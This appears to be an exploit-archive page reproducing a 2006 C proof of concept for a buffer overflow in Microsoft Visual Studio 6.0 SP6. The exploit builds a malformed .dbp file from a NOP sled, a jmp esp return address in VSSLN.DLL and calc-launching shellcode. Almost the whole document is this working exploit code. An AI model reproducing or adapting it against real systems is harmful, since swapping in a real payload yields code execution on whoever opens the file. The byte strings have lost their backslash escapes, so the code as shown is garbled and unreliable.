[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MS Visual Studio 6.0 sp6 (Malformed .dbp File) Buffer Overflow Exploit
# Published : 2006-03-05
# Author : Kozan
# Previous Title : Ubuntu Breezy 5.10 Installer Password Disclosure Vulnerability
# Next Title : LibTiff 3.7.1 (BitsPerSample Tag) Local Buffer Overflow Exploit
/*****************************************************************
Microsoft Visual Studio 6.0 Sp6 Malformed .dbp File BoF Exploit by Kozan
Bug Discovered and Exploit Coded by: Kozan
Credits to ATmaCA
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com
Affected Vendor:
Microsoft (www.microsoft.com)
Affected Products:
Microsoft Visual Studio 6.0 (with latest Service Pack 6)
Microsoft Development Environment 6.0 (SP6) (Microsoft Visual InterDev 6.0)
Vulnerability Details:
A Buffer Overflow Vulnerability is exists for the following file formats
of affected product.
Visual Studio Database Project File (.dbp)
Visual Studio Solution (.sln)
Original Advisory and Technical Details:
http://spyinstructors.com/show.php?name=Advisories&pa=showpage&pid=73
http://www.securitytracker.com/alerts/2006/Mar/1015721.html
*****************************************************************/
#include <windows.h>
#include <stdio.h>
char szHeaderBlock[] =
"x23x20x4Dx69x63x72x6Fx73x6Fx66x74x20x44x65x76x65"
"x6Cx6Fx70x65x72x20x53x74x75x64x69x6Fx20x50x72x6F"
"x6Ax65x63x74x20x46x69x6Cx65x20x2Dx20x44x61x74x61"
"x62x61x73x65x20x50x72x6Fx6Ax65x63x74x0Dx0Ax42x65"
"x67x69x6Ex20x44x61x74x61x50x72x6Fx6Ax65x63x74x20"
"x3Dx20x22x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";
// 0x4656b8c3 - jmp esp - VSSLN.DLL
char szEip[] = "xc3xb8x56x46";
char szTrashCode[] =
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90";
// invoke calc.exe
char szShellCode[] =
"x33xc9x83xe9xdexd9xeexd9x74x24xf4x5bx81x73x13xef"
"x9bxf0xd8x83xebxfcxe2xf4x13x73xb4xd8xefx9bx7bx9d"
"xd3x10x8cxddx97x9ax1fx53xa0x83x7bx87xcfx9ax1bx91"
"x64xafx7bxd9x01xaax30x41x43x1fx30xacxe8x5ax3axd5"
"xeex59x1bx2cxd4xcfxd4xdcx9ax7ex7bx87xcbx9ax1bxbe"
"x64x97xbbx53xb0x87xf1x33x64x87x7bxd9x04x12xacxfc"
"xebx58xc1x18x8bx10xb0xe8x6ax5bx88xd4x64xdbxfcx53"
"x9fx87x5dx53x87x93x1bxd1x64x1bx40xd8xefx9bx7bxb0"
"xd3xc4xc1x2ex8fxcdx79x20x6cx5bx8bx88x87xe5x28x3a"
"x9cxf3x68x26x65x95xa7x27x08xf8x91xb4x8cx9bxf0xd8";
char szTrashCode2[] =
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90";
char szFooterBlock[] = "x22x0Dx0Ax45x6Ex64x0Dx0A";
int main()
{
fprintf(stdout, "rnrn"
"--------------------------------------------------------------------------"
"rn"
"Microsoft Visual Studio 6.0 Sp6 Malformed .dbp File BoF Exploit by Kozann"
"Bug Discovered and Exploit Coded by:Kozann"
"Credits to ATmaCAn"
"www.spyinstructors.com - kozan@spyinstructors.comn"
"rn"
"--------------------------------------------------------------------------"
"rnrn"
);
int nBufLen = sizeof(szHeaderBlock) +
sizeof(szFooterBlock) +
sizeof(szTrashCode) +
sizeof(szTrashCode2) +
sizeof(szEip) +
sizeof(szShellCode) - 6;
char *pszFileBuf = (char*)malloc(nBufLen);
memset(pszFileBuf, 0x90, nBufLen);
memcpy(pszFileBuf, szHeaderBlock, sizeof(szHeaderBlock)-1);
memcpy(pszFileBuf+sizeof(szHeaderBlock)-1, szEip, sizeof(szEip)-1);
memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1, szTrashCode, sizeof(szTrashCode)-1);
memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1+sizeof(szTrashCode)-1, szShellCode, sizeof(szShellCode)-1);
memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1+sizeof(szTrashCode)-1+sizeof(szShellCode)-1, szTrashCode2, sizeof(szTrashCode2)-1);
memcpy(pszFileBuf+sizeof(szHeaderBlock)-1+sizeof(szEip)-1+sizeof(szTrashCode)-1+sizeof(szShellCode)-1+sizeof(szTrashCode2)-1, szFooterBlock, sizeof(szFooterBlock)-1);
FILE *fp;
if( (fp = fopen("c:\vuln.dbp","a+b")) == NULL )
{
fprintf( stderr, "[Error]t: Can not create c:\vuln.dbp file!rn");
return -1;
}
fwrite(pszFileBuf, nBufLen, 1, fp);
fclose(fp);
fprintf( stdout, "[Completed]t: c:\vuln.dbp file created successfuly. Open it to test...rn");
return 0;
}
// www.Syue.com [2006-03-05]